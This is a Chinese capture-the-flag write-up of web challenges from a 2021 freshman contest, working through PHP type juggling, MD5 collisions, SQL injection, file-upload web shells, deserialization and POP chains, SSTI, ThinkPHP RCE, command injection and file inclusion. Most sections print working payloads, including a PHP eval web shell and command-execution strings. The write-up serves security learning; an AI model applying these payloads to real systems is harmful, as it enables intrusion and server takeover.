2021Xp0int杯新生赛wp

温馨提示:点击页面下方以展开或折叠目录~

第二次更新,终于把Web更完了!最后一道web知识点巨多!

2021新生赛

就嗯肝,倒也还行,可惜杂项肝的太久,web没a完,其他几个题型也没什么时间研究….

image-20211201230119130

Web

checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$a = array("C", "T", "F");
$num1 = 999999999;
if (!($a == $_POST['b'] and $a !== $_POST['b'])) {
die("maybe you can learn something from https://www.php.net/manual/zh/language.operators.array.php");
}
if (!(!empty($_GET['num2']) && $_GET['num2'] > $num1 && strlen($_GET['num2']) < 4)) {
die("Scientific notation!!!");
}
if (empty($_POST['md5a'])||empty($_POST['md5b'])||is_array($_POST['md5a'])||is_array($_POST['md5b'])||($_POST['md5a']==$_POST['md5b'])||!(md5($_POST['md5a']) === md5($_POST['md5b']))) {
die("no no no");
}
echo $flag;
  1. 数组运算符

    • 参考php手册

    • \$a == \$b 具有相同键值对则true

    • \$a === \$b 具有相同键值对且顺序相同则true

    image-20211122105036135

    payload1b[1]=T&b[0]=C&b[2]=F

  2. 数组和数字大小比较

    image-20211122111311195

    payload2?num2[]

  3. md5碰撞

    • 一大堆判断,过滤了数组绕过和字符串0e绕过

    • 只能用真实碰撞

    • 工具:fastcoll 用于生成md5相同,但内容不同的两个文件

      • 新建一个1.txt,随便写点东西
      • fastcoll_v1.0.0.5.exe -p 1.txt -o 2.txt 3.txt生成两个新文件

      image-20211122112529455

    • 然后读取文件内容做个url编码作为参数传递即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    function readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
    }
    echo md5( (readmyfile("2.txt")))."\n";
    echo urlencode(readmyfile("2.txt"))."\n";
    echo md5( (readmyfile("3.txt")))."\n";
    echo urlencode(readmyfile("3.txt"));

payload:

GET:

http://35.229.138.83:16219/?num2[]

POST:

1
b[1]=T&b[0]=C&b[2]=F&md5a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%29%88%60e%F7%87E%FE%FA%FE%E5-%FB%B7M1%AE%87xiG%3BK%116%3B%BA00%AA%C9%97%C3%E9%E4L%26%AC%26%8B%08U%D2%F1%C3%23w%2C%3C%3E%B1%92V%86L%97%C4%ADI%8D%CDY%C9%7E%CA%02%12%C1%2Fc%06K%3A%25%C9%97%E9%09D%40%27F%8E%00%BB%00a%E1%FB%F4%C4%D8+%5D%A2%C7P%1F%DF%21%1B%82%D5o%A4%AC%EF%F4%8DN%C8%1A%02%12%0E%C5%40%28%95H%D5%7EM%1C%26%88%F3&md5b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%29%88%60e%F7%87E%FE%FA%FE%E5-%FB%B7M1%AE%87%F8iG%3BK%116%3B%BA00%AA%C9%97%C3%E9%E4L%26%AC%26%8B%08U%D2%F1C%24w%2C%3C%3E%B1%92V%86L%97%C4%AD%C9%8D%CDY%C9%7E%CA%02%12%C1%2Fc%06K%3A%25%C9%97%E9%09D%40%27F%0E%00%BB%00a%E1%FB%F4%C4%D8+%5D%A2%C7P%1F%DF%21%1B%82%D5o%A4%AC%EF%F4%0DN%C8%1A%02%12%0E%C5%40%28%95H%D5%7E%CD%1C%26%88%F3

flag: ctf{Good_Luck_Have_Fun!}

baby-sql

  1. username 单引报错,找到注入点
  2. 1' or 1=1# 出了个admin
  3. 1' or 1=2# 出了????
  4. 1' order by 3# 出了????
  5. 1' order by 4# 报错,有3个字段
  6. 1' union select 1,2,3# 2,3回显
  7. 1' union select 1,2,database() 出库名babysql
  8. 1' union select 1,2,table_name from information_schema.tables where table_schema= 'babysql' 出表名flag
  9. 1' union select 1,2,group_concat(column_name) from information_schema.columns where TABLE_NAME='flag' 出字段名id、flag
  10. 1' union select 1,2,flag from flag# 出flag

flag:flag{9d5ae6b83c7ad5703872574e49aaf6f0}

baby-upload

传个一句话php马就完事了

1
2
3
4
<?php
@eval($_POST['cmd']);
phpinfo();
?>

传后访问路径,执行个系统命令cmd=system('cat /flag');

image-20211123112630495

flag:flag{fcc9fbd1d19b3de78b7346bbb005d0d5}

baby-unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class baby
{
public $filename = "index.php";
public function __construct($filename)
{
$this->filename = $filename;
}
function __destruct()
{
echo file_get_contents($this->filename); //flag in flag.php
}
function __wakeup()
{
if ($this->filename !== "index.php") {
$this->filename = "index.php";
}
}
}

if (isset($_POST['str'])) {
$str = $_POST['str'];
if (preg_match('/flag/i', $str)) {
die('???');
} else {
unserialize($str);
}
} else {
highlight_file(__FILE__);
}
  1. __wakeup()绕过

    • 执行unserialize时会首先调用魔术方法wakeup,里面把php文件改名了,得绕
    • CVE-2016-7124:当成员属性数目大于实际数目时导致反序列化异常,可绕过__wakeup()
    • 影响版本:php5 < 5.6.25 php7 < 7.0.10

    payload1str=O:4:"baby":2:{s:8:"filename";s:8:"flag.php";}

  2. 正则绕过

    • 序列化字符串,将表示属性值的小写s改为大写,可以解析十六进制,以此绕过正则匹配

    image-20211122154838546

最终payloadstr=O:4:"baby":2:{s:8:"filename";S:8:"\66lag.php";}

flag:flag{f44973d81697b67b26e2a357f537dc3b}

easy_js

  • 查看网页源码,看到个index.js,打开,放入js美化/反混淆工具)里面(强推CyberChef这个工具,最好下了本地用,集成了很多功能)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var H1 = 0;
...
function c() {
H1 += 1;
window['document']['getElementById']('clickNumber')['innerHTML'] = 'Click number: ' + H1;
if (H1 === 99999999) {
var boF7 = new XMLHttpRequest();
var jQs8 = 'flaggggggggggggggg.php?c1ick=' + H1;
boF7['onreadystatechange'] = function () {
if (boF7['readyState'] == 4 && boF7['status'] == 200) {
text = boF7['responseText'];
window['document']['getElementById']('flag')['innerHTML'] = text;
console['log'](text);
}
};
boF7['open']('GET', jQs8, true);
boF7['send']();
} else {
window['document']['getElementById']('flag')['innerHTML'] = 'flag will appear when you click 99999999 times !';
}
}
...
  • 代码很长,关注重点函数就行了,发现一个url和参数:flaggggggggggggggg.php?c1ick=,直接传99999999,出flag

payload/flaggggggggggggggg.php?c1ick=99999999

flag:flag{ac24adc5685ff-f6402e80bc-6fb6ae59-62aa51fa}

easy_sql

  1. 1" or 1=2# 报错,双引闭合
  2. waf只是简单的过滤关键字,双写关键字绕过即可
  3. 1" oorrder by 4# 报错,3个字段
  4. 1" ununionion seselectlect 1,2,3# 回显2,3
  5. 不管了,直接猜数据库和babysql一样,不爆了
  6. 1" ununionion seselectlect 1,2,database() 出库名easysql
  7. 1" ununionion seselectlect 1,2,table_name frroom infoorrmation_schema.tables whwhereere table_schema='easysql'# 出表名flag
  8. 1" ununionion seselectlect 1,2,grrooup_concat(column_name) frroom infoorrmation_schema.columns whwhereere TABLE_NAME='flflagag'# 出字段名id、flag
  9. 1" ununionion seselectlect 1,2,flflagag frroom flflagag 出flag

flag:flag{d7edeb1366bd99aa12d109c99267e37e}

easy-upload

黑名单过滤,过滤方法是将字符串替换为空,可以双写绕过

image-20211123234037146

一句话php马,文件名:a.pphphp

1
2
3
4
<?php
@eval($_POST['cmd']);
phpinfo();
?>

image-20211123234129911

flag:flag{b1ab8564a34adef4aaf542bfed45652c}

easy-unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);

class getflag
{
public $file;

public function __destruct()
{
if ($this->file === "flag.php") {
echo file_get_contents($this->file);
}
}
}

class tmp
{
public $str1;
public $str2;

public function __construct($str1, $str2)
{
$this->str1 = $str1;
$this->str2 = $str2;
}

}

$str1 = $_POST['str1'];
$str2 = $_POST['str2'];
$data = serialize(new tmp($str1, $str2));
$data = str_replace("easy", "ez", $data);
unserialize($data);

代码审计

  1. post接收两个参数,传入tmp类后序列化
  2. 序列化字符串经过过滤,easy变为ez
  3. 过滤后的字符串进行反序列化

关键点:给类getflag的file赋上值flag.php,并实例化对象(为了调用__destruct())

反序列化字符串逃逸

u1s1我觉得这篇文章总结的还行,不知道为什么没有赞,mark一下,后期自己再整理一遍

  • 严格来说属于字符串逃逸中的类逃逸
  1. 先给getflag类的file赋上值序列化一下:O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}

  2. 给str1赋值easy,str2赋值上面的序列化字符串,看下结果

    O:3:”tmp”:2:{s:4:”str1”;s:4:”easy”;s:4:”str2”;s:44:”O:7:”getflag”:1:{s:4:”file”;s:8:”flag.php”;}”;}
    O:3:”tmp”:2:{s:4:”str1”;s:4:”ez”;s:4:”str2”;s:44:”O:7:”getflag”:1:{s:4:”file”;s:8:”flag.php”;}”;}

  3. 可以看到经过过滤s:4:"easy"变成了s:4:"ez",逃逸了两个字符

  4. 思路:长变短逃逸没办法把已有属性逃逸出去,因此我们直接让tmp类多一个属性str3,并让str3属性的值为getflag类的序列化字符串(这就是类逃逸)

  5. 以此构造str2=;s:4:"str3";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}

    • 分号是为了闭合前面的双引,让他读到 "; 时能够正确闭合属性
  6. 序列化一下得到O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:56:";s:4:"str3";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}";}

    • 从easy后面到str3的值前面, ";s:4:"str2";s:56: 是需要我们覆盖的,计算一下有18个字符
    • 根据每个easy变ez能逃逸2个字符,我们构造9个easy刚好逃逸18个字符
  7. 构造后尝试一下反序列化,可以看到s:36:后面刚好把需要覆盖的内容包含进去了,造成了类逃逸,实例化了getflag类

    image-20211124105641521

最终payload

post:str1=easyeasyeasyeasyeasyeasyeasyeasyeasy&str2=;s:4:"str3";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}

发送后查看网页源码得flag:flag{e99eca072a432c54b84e18e5c5c62ef5}

ezPy

根据题目意思这大概和python有关,搜了一下python的注入,基本都是ssti的模板注入,传个参数试一下:

image-20211124153950828

可以看到4 = 4,意味着其中的语句被解析了,原理分析网上一堆,不细说,直接参考vulhub的exp,把popen执行的命令改为cat /flag

image-20211124154306818

这里要不要url编码好像都行,不过用burp的话最好还是用下url编码,不然可能出问题

flag:flag{Pyth0n_1s_1mp0rtant!!!!!}

simple_php

  • 翻了源码、前端、返回包等所有可能藏hint的地方都没hint,访问了下index.php正常,访问随便其他的比如1.php会报404,基本是源码泄露没跑了
  • 常见源码泄露参考 (先自己mark一下,后期再整理一遍,,)

访问index.php.swp,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function getflag(){
echo file_get_contents("./flag");
}
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>14){
die("too long !");
}
if(preg_match('/[a-zA-Z0-9_&^<>"\'$#@!*&+=.`\[\]{}?,]+/',$code)){
die(" No ! No !");
}
@eval($code);
}

代码审计

  1. 接收get请求code参数
  2. 过字符串长度过滤和正则后eval执行

思路

  1. 字符串不能太长,所以通过system(‘cat /flag’)不可取 => 直接执行getflag函数

  2. 绕正则,先fuzz一下看看出题人留了什么给我们用

    1
    2
    3
    4
    5
    6
    for($var = 33; $var < 127; $var++) {
    if(!preg_match('/[a-zA-Z0-9_&^<>"\'$#@!*&+=.`\[\]{}?,]+/',chr($var))) {
    echo chr($var);
    }
    }
    // %()-/:;\|~
  1. 参考p神博客,这题属于无字母无数字shell的进阶版,异或和自增绕过都用不了,因此要用取反绕过

  2. 先对字符串getflag取反,由于取反后会有不可见字符,因此再用url编码一下:urlencode(~'getflag')%98%9A%8B%99%93%9E%98

  3. 再作为code参数传递即可执行@eval((getflag)())

    image-20211124202521280

最终payload?code=(~%98%9A%8B%99%93%9E%98)();

flag:flag{a3b5c6d-563ae31f-b6672e33ed-ff63a5b8}

thinkphp

参考vulhub

直接拿payload来rce

直接cat /flag拿不到,估计flag要么不在根目录要么改名了

接着find /|grep “flag” 也找不到,那就肯定是改名了,直接一层一层目录遍历上去,在根目录找到FL4G

image-20211125203138488

payload

GET:?s=captcha

POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat%20../../../../FL4G

image-20211125203051137

flag:flag{ewyg_wyuf_ushg_dgds_dgfs!}

ez-rce

搜一搜无参数函数rce,其实挺多文章的,包括一些题目(搜[GXYCTF2019]禁止套娃)也有,不过里面要么没过滤要么过滤没出题人这么变态….

看了好多篇文章,这篇发的时间较早,总结的挺好,不过没考虑过滤的情况,觉得还是这篇的骚操作多一点,不局限于某一题,而是总结性质的告诉你哪些可以用

提炼一下用到的几个函数吧

  1. time():返回当前的时间(Unix纪元,1970-01-01到现在的秒数)

  2. crypt(arg)php手册:加盐哈希 => crypt(time())

    详细介绍戳 => https://www.php.net/manual/zh/function.crypt.php (建议拉到下面看不同算法的盐值构造)

    php的crypt有个很巧妙的地方,首先它在不同操作系统上的默认算法可能不一样(DES、Blowfish、MD5),这里我主要说MD5

    crypt(“abc”) 的(某次)结果为\$1\$Yn5.BJ3.\$j5RYtWilZIabNWw4NP2YD.

    $1$表示使用加盐md5,$Yn5.BJ3.$ (两个美元符明明转义了还能识别为latex公式…真是不太聪明)两个美元符中间的是盐值,后面的是base64字符串,这就出现一个很有趣的地方了,base64里并没有 . 这个表示 ,经过多次试验后,发现crypt()的结果(若使用md5)字符串末尾只有4种可能:01./

    这个我搜了一下发现好像没什么人介绍过(当然可能是我搜商太差…..)想了一下,我猜大概是因为MD5的结果是128比特长,然后base64嘛,6比特代表一个字符,因此128 / 6 = 21 … 2,剩了两个比特,两个比特4种组合,所以就分别用01./四个字符来表示了(其实我感觉php源码应该得有写,先mark一下挖个坑吧,后期整理)

  3. hebrevc()php手册 :用于把希伯来文本从右至左的流转换为左至右的流

    有的地方说“只有 224 至 251 之间的 ASCII 字符,以及标点符号受到影响”,其实不太严谨,自己写个脚本fuzz一下就可以发现,ascii=45的‘-’和ascii=47的‘/’不会受影响

    image-20211126002947124

    前两个是不受影响的,最后是受影响的,然后ascii=251也不受影响

    hebrevc(crypt(time())):将crypt()哈希字符串末尾的 . 移到最前面

  4. ord():返回字符串中第一个字符的ascii值

  5. chr():ascii值转字符

    chr(ord(hebrevc(crypt(time())))):读出 .

  6. scandir()php手册:列出指定路径中的文件和目录

    scandir('.') :读当前目录中的文件和目录

  7. end():返回数组中最后一个元素

    其他还有next()、prev()分别表示返回数组前一个元素或后一个元素,做题的时候没思考,直接用end()读了(大多数题都是这样),写wp的时候想到或许可以组合一下做目录遍历?要真有flag不放在最后一个的呢…(其实那篇总结下文有说,,只是都过不了本题的正则…)

  8. show_source():没什么说的了,把文件显示出来

    readfile、highlight_file、file_get_contents也可以读,只是被过滤了file,还有个readgzfile()比较冷门,可以绕过一些过滤

最后再贴次链接:http://www.heetian.com/info/827 u1s1总结的真不错,mark一下后期整理

最终payload

POST:shell=show_source(end(scandir(chr(ord(hebrevc(crypt(time())))))));

如果报scandir($)的错就多提交几次,毕竟crypt()以.结尾只有25%的概率

image-20211125212618732

flag:flag{68ff971077c08515fdbbd83fac40fcb1}

ezpop

u1s1我觉得这题出的真不错…虽然pop链分析的文章很多,也有题目的wp,不过结合了一些其他的小trick感觉就很巧妙,有很多值得mark后后期整理的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
error_reporting(0);
class openfunc{
public $object;
function __construct(){
// 序列化时触发
$this->object=new normal();
}
function __wakeup(){
// 反序列化时触发
$this->object=new normal();
}
function __destruct(){
// 对象销毁时触发
$this->object->action();
}
}
abstract class hack {
// 抽象类不可实例化对象,需要通过子类调用方法
abstract public function pass();
// 抽象类,提供抽象接口,方法由子类实现
public function action() {
$this->pass();
}
}
class normal{
// 没什么好审的,要绕的函数
public $d;
function action(){
echo "you must bypass it";
}
}
class evil extends hack{
// 抽象类hack的子类
public $data;
public $a;
public $b;
public $c;
public function pass(){
$this->a = unserialize($this->b);
// b为序列化字符串,反序列化后赋给a,所以a应该为一个对象
$this->a->d = urldecode(date($this->c));
// 给对象a的d属性赋值,赋值内容为经过url解码的date()函数返回值,其中date()参数为$c
if($this->a->d === 'shell'){
// 若值为shell则调用shell()方法
$this->shell();
}
else{
// 得绕
die(date('Y/m/d H:i:s'));
}
}
function shell(){
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
// 正则,绕就完事
die("you die");
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
echo $dir;
// 给了个路径,需要访问http://ip/sandbox/md5(?)/hack.php
// 其中hack.php的内容由$this->data写进去
file_put_contents("$dir" . "hack.php", $this->data);
}
}

if (isset($_GET['Xp0int']))
{
// 接收get请求Xp0int参数,base64解码后反序列化
$Data = unserialize(base64_decode($_GET['Xp0int']));
}
else
{
highlight_file(__file__);
}

代码审计

  • 代码比较多,审计直接写注释里了,看起来方便些

思路

  • 最终我们需要的东西在file_put_contents("$dir" . "hack.php", $this->data);里,这里可以data可控,所以想法是写一个php马进去,因此需要让程序运行到这一句并成功写入shell

  • 调用链:

    1
    2
    3
    4
    5
    6
    7
    openfunc
    ->__wakeup()->normal#action() // 需要绕过
    ->__destruct()
    [->object#action()] // object赋为evil类
    ->evil#action() ->hack#action() // 子类没有action()方法,去父类找
    ->hack#pass() ->evil#pass() // 父类接口由子类实现
    ->evil#shell()

    分析完调用链就需要一步一步绕过了

  1. 绕__wakeup()

    没什么好说了,成员属性数目大于实际数目即可

  2. date()

    其实这个地方一开始以为可以用public和protected访问控制修饰符修改的方法绕过的,不过好像用不了,先mark一下,后期看看整理一波利用姿势

    • 参考php手册:date的特性:当date()参数不是格式字串时将原样展示

      image-20211126131608482

    • 因此$this->c赋值为“shell”的url编码即可(url编码中的小写c属于格式字串,改为大写就可以了)

      image-20211126132022350

  3. file_put_contents():

    • 参考php手册

      image-20211126132416805

    • 第二个参数可以是数组,因此可以用来绕过上面的正则,比如data=eval(); => data=['ev','al();']

都绕完了就开始写exp:

1
2
3
4
5
6
7
8
9
10
$open=new openfunc();
$evil=new evil();
$data=['<?ph','p ','@ev',"al(\$_POST['cmd']);"]; // 绕正则
$evil->data = $data;
$evil->c = '%73%68%65%6C%6C'; // 绕date()
$open->object=$evil;
echo serialize($open)."\n";
// O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";a:4:{i:0;s:4:"<?ph";i:1;s:2:"p ";i:2;s:3:"@ev";i:3;s:18:"al($_POST['cmd']);";}s:1:"a";N;s:1:"b";N;s:1:"c";s:15:"%73%68%65%6C%6C";}}
// 把"openfunc":1:改为2 绕__wakeup(),编码一下
echo base64_encode('O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";a:4:{i:0;s:4:"<?ph";i:1;s:2:"p ";i:2;s:3:"@ev";i:3;s:18:"al($_POST[\'cmd\']);";}s:1:"a";N;s:1:"b";N;s:1:"c";s:15:"%73%68%65%6C%6C";}}');

最终payload

GET:

1
?Xp0int=Tzo4OiJvcGVuZnVuYyI6Mjp7czo2OiJvYmplY3QiO086NDoiZXZpbCI6NDp7czo0OiJkYXRhIjthOjQ6e2k6MDtzOjQ6Ijw/cGgiO2k6MTtzOjI6InAgIjtpOjI7czozOiJAZXYiO2k6MztzOjE4OiJhbCgkX1BPU1RbJ2NtZCddKTsiO31zOjE6ImEiO047czoxOiJiIjtOO3M6MToiYyI7czoxNToiJTczJTY4JTY1JTZDJTZDIjt9fQ==

image-20211126133027867

返回地址,访问hack.php,成功命令执行

image-20211126112939856

目录遍历出flag位置,拿下

image-20211126133131753

flag:flag{Y0u_Ar3_A_POP_Ma5ter!!!!}

PictureGenerator

麻了,比赛的时候没发现有附件,尝试了好久目录穿越任意文件下载一直下不了…结果比赛结束后和同学交流才发现有附件….


更新


真麻了,真没想到这题几乎可以说就一个知识点:$()替换为反引(麻了反引在md的行内代码打不出来

我真找了半年资料都没想到就这一个知识点…从命令构造到pillow rce到flask注入,佛了,愣是没整明白,最后做出来的时候真有被傻到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# app.py
from flask import Flask, request, redirect, url_for
import os
import random
import string
import time

clean = time.time()
app = Flask(__name__)
chars = list(string.ascii_letters + string.digits)

@app.route('/')
def main():
return open("index.html").read()

@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
data = request.form.getlist('text')[0]
data = data.replace("\"", "")
data = data.replace("$","")
name = "".join(random.choices(chars,k=8)) + ".png"
os.system(f"python3 gene.py {name} \"{data}\"")
return redirect(url_for('static', filename='images/' + name), code=301)

if __name__ == "__main__":
app.run("0.0.0.0",80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# gene.py
import os
from PIL import Image, ImageDraw, ImageFont
import sys

font = ImageFont.truetype('static/generator/comic-sans.ttf', size=48)

outfile = sys.argv[1]
text = sys.argv[2]

if len(text) > 1000: # Too much text :generate:
text = "Too long!"

width, height = 512, 562
img = Image.new('RGB', (width, height), color=(255, 255, 255))
canvas = ImageDraw.Draw(img)
chunks = []

chunk = ""
for char in text:
chunk += char
text_width, text_height = canvas.textsize(chunk, font=font)
if text_width >= (width-20):
chunks.append(chunk[:-1])
chunk = char

if len(chunks) == 0:
chunks.append(chunk)

if chunks[-1] != chunk:
chunks.append(chunk)

for i,chunk in enumerate(chunks):
text_width, text_height = canvas.textsize(chunk, font=font)
x_pos = int((width - text_width) / 2) + 10
y_pos = 15 + i * 100
canvas.text((x_pos, y_pos), chunk, font=font, fill='#000000')


if "flag" in text: # Don't try and exfiltrate flags from here :generate:
img = Image.open("static/generator/error.jpg")
img.save(f"static/images/{outfile}")
else:
img2 = Image.open("static/generator/hack.jpg")
img.paste(img2, (50, 100), img2.convert('RGBA'))
if len(chunks) > 1:
img3 = Image.open("static/generator/move.png").convert('RGBA')
img3.paste(img, (170,42), img.convert('RGBA'))
img3.save(f"static/images/{outfile}")
else:
img.save(f"static/images/{outfile}")

u1s1附件的代码8成都是没用的…提炼一下关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# app.py
...
@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
data = request.form.getlist('text')[0]
data = data.replace("\"", "")
data = data.replace("$","")
name = "".join(random.choices(chars,k=8)) + ".png"
# 执行一句命令行,用于run gene.py,其中参数data是我们可控的
os.system(f"python3 gene.py {name} \"{data}\"")
return redirect(url_for('static', filename='images/' + name), code=301)
...
# gene.py
...
outfile = sys.argv[1]
text = sys.argv[2]
# 接收两个命令行参数,outfile即为app.py里的name,text为app.py里的data,因此text是可控的
...
if "flag" in text: # Don't try and exfiltrate flags from here :generate:
# 当text里有flag字符串的时候,打开error图片,保存一张图片
img = Image.open("static/generator/error.jpg")
img.save(f"static/images/{outfile}")
else:
....

先说答案:

  1. app.py里的命令执行,data是我们可控的,因此使用命令行内联执行($()`` (反引)),可以单独执行其中的语句,这里由于$被过滤,因此用反引即可

  2. payload: cat /flag > static/images/1.txt(两边要套上反引,md里的行内代码打不出来…)

    作用:读取flag并重定向到static/images目录下的1.txt(因为本题没有回显,所以要重定向到文件,如果有vps的话直接发送的自己的vps,然后在自己vps上监听应该也是可以的)

  3. 直接访问static/images/1.txt,发现flag已经被带了出来

flag:flag{fhfgufghui_ewftftdf_whfdweyidg_gafdhjasdh_eghfhef_rhgfjrikfu!!!!}

所以本题gene.py那么多代码其实是唬人的…甚至连if "flag" in text:那个都是没有什么用的…我还在想怎么利用那些参数,怎么绕flag的时候,发现其实只要知道他在app.py里有个命令执行,在gene.py里会保存文件且知道路径就完事了,很离谱

Imgbed

复现这题的时候环境已经关了…和出题人要了个docker自己跑

一开始给了个注册登录忘记密码

image-20211203111941306

查了一圈没什么可以利用的,直接注册登录进去看看

image-20211203102947317

image-20211203103037760

发现个奇怪的地方,他的简洁模式url是/index.php?action=class.php,画廊模式是/gallery.php,同时简洁模式下有个上传的地方,先怀疑一下文件上传

把action的参数改为/flag

image-20211203103305401

可以看到include()函数已经出来了,说明存在文件包含漏洞

image-20211203103630245

发现可以读/etc/passwd却读不了/flag,那就应该是被某种策略拦截了

参考1:CTF-Web-php文件包含小结

参考2:从CTF学习文件包含

参考3:CTF-Web:php伪协议

payload1/index.php?action=php://filter/read=convert.base64-encode/resource=index.php

  • php://filter/是一种访问本地文件的协议

  • /read=convert.base64-encode/表示读取方式是base64编码(若不编码,则会直接执行index.php)

    参考1:当它与包含函数(常为include())结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而实现任意文件读取。

image-20211203105302809

读出base64流后解密

image-20211203105427926

我又得强推一波这个工具了:CyberChef,本地使用真的很方便,解密后index.php代码如下(简化了一些没用的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if(isset($_GET['action'])&&!empty($_GET['action'])){
include $_GET['action'];
}
else{
header("Location: index.php?action=class.php");
die();
}
?>

<!DOCTYPE html>
<html>
....// 页面展示
</html>

<?php
error_reporting(0);
$a = new FileList();
?>

index.php好像没什么用,继续把其他几个功能的源码读出来

class.php如下(同样简化掉没用的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);

...// 配置变量信息

class User
{
....// 用户注册、登录等功能
}

class Image
{
....// 数据库、图片操作
}


class FileList
{
....// 文件列表,提供一些增删查改的功能
}

class Gallery
{
....// 画廊模式的增删查改
}

class File
{
public $filename;

public function __construct($filename)
{
$this->filename = $filename;
}

public function check_file_exist(): bool
{
if (file_exists($this->filename) && !is_dir($this->filename)) {
return true;
} else {
return false;
}
}

public function get_file_size(): string
{
$size = filesize($this->filename);
$units = array('B', 'KB', 'MB', 'GB');
for ($i = 0; $size >= 1024; $i++) {
$size /= 1024;
}
return round($size, 1) . ' ' . $units[$i];#浮点数四舍五入,保留1位小数
}

public function delete_file()
{
unlink($this->filename);
}

public function get_file_contents()
{
return file_get_contents($this->filename);
}
}

在这里面发现了几个关键函数:file_existsis_dirunlinkfile_get_contents,均是可以触发phar反序列化的函数

这里其实可以利用delete_file()里的unlink()函数,这个函数可以触发phar反序列化,参考题目,不过参考题目里题目将File类的get_file_contents()名字设置为close(),使得可以通过别的类构造调用链,这道题看起来是没办法的

上传图片时抓包,可以发现通过upload.php上传,把upload.php也拿下来看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: index.php");
die();
}

include "class.php";

if (isset($_GET['sent'])) {
$file_array = $_POST['file'];
$file_location = 'uploads/';
$file_num = sizeof($file_array);
if (!$file_num) {
header("Location: index.php");
die();
}
for ($i = 0; $i < $file_num; $i++) {
$this_file_json_object = $file_array[$i];
$this_file = json_decode($this_file_json_object, true);
$this_file_name = $this_file["name"];
$this_file_type = $this_file["type"];
$this_file_data = $this_file["data"];
$this_file_extension = substr($this_file_name, strrpos($this_file_name, '.') + 1);
if ((($this_file_extension == "jpg" || $this_file_extension == "jpeg") && ($this_file_type == "image/jpeg")) || (($this_file_extension == "png") && ($this_file_type == "image/png")) || (($this_file_extension == "gif") && ($this_file_type == "image/gif"))) {
$this_file_name = sha1(date('YmdGHs') . substr(microtime(true), 11, 4) . $_SESSION['username'] . $this_file_name) . '.' . $this_file_extension;
$this_file_save_path = $file_location . $this_file_name;
$this_file_decode_data = base64_decode($this_file_data);
file_put_contents($this_file_save_path, $this_file_decode_data);
if ($this_file_type == "image/jpeg"){
$im = @imagecreatefromjpeg($this_file_save_path);
@unlink($this_file_save_path);
imagejpeg($im,$this_file_save_path);
}
else if($this_file_type == "image/png"){
$im = @imagecreatefrompng($this_file_save_path);
@unlink($this_file_save_path);
imagepng($im,$this_file_save_path);
}
else if($this_file_type == "image/gif"){
$im = @imagecreatefromgif($this_file_save_path);
@unlink($this_file_save_path);
imagegif($im,$this_file_save_path);
}
$image = new Image();
$image->insert($this_file_name);#在数据库中保存文件名
}
}
header("Location: index.php");
die();
}

比较明显的二次渲染了

二次渲染参考:https://xz.aliyun.com/t/2657

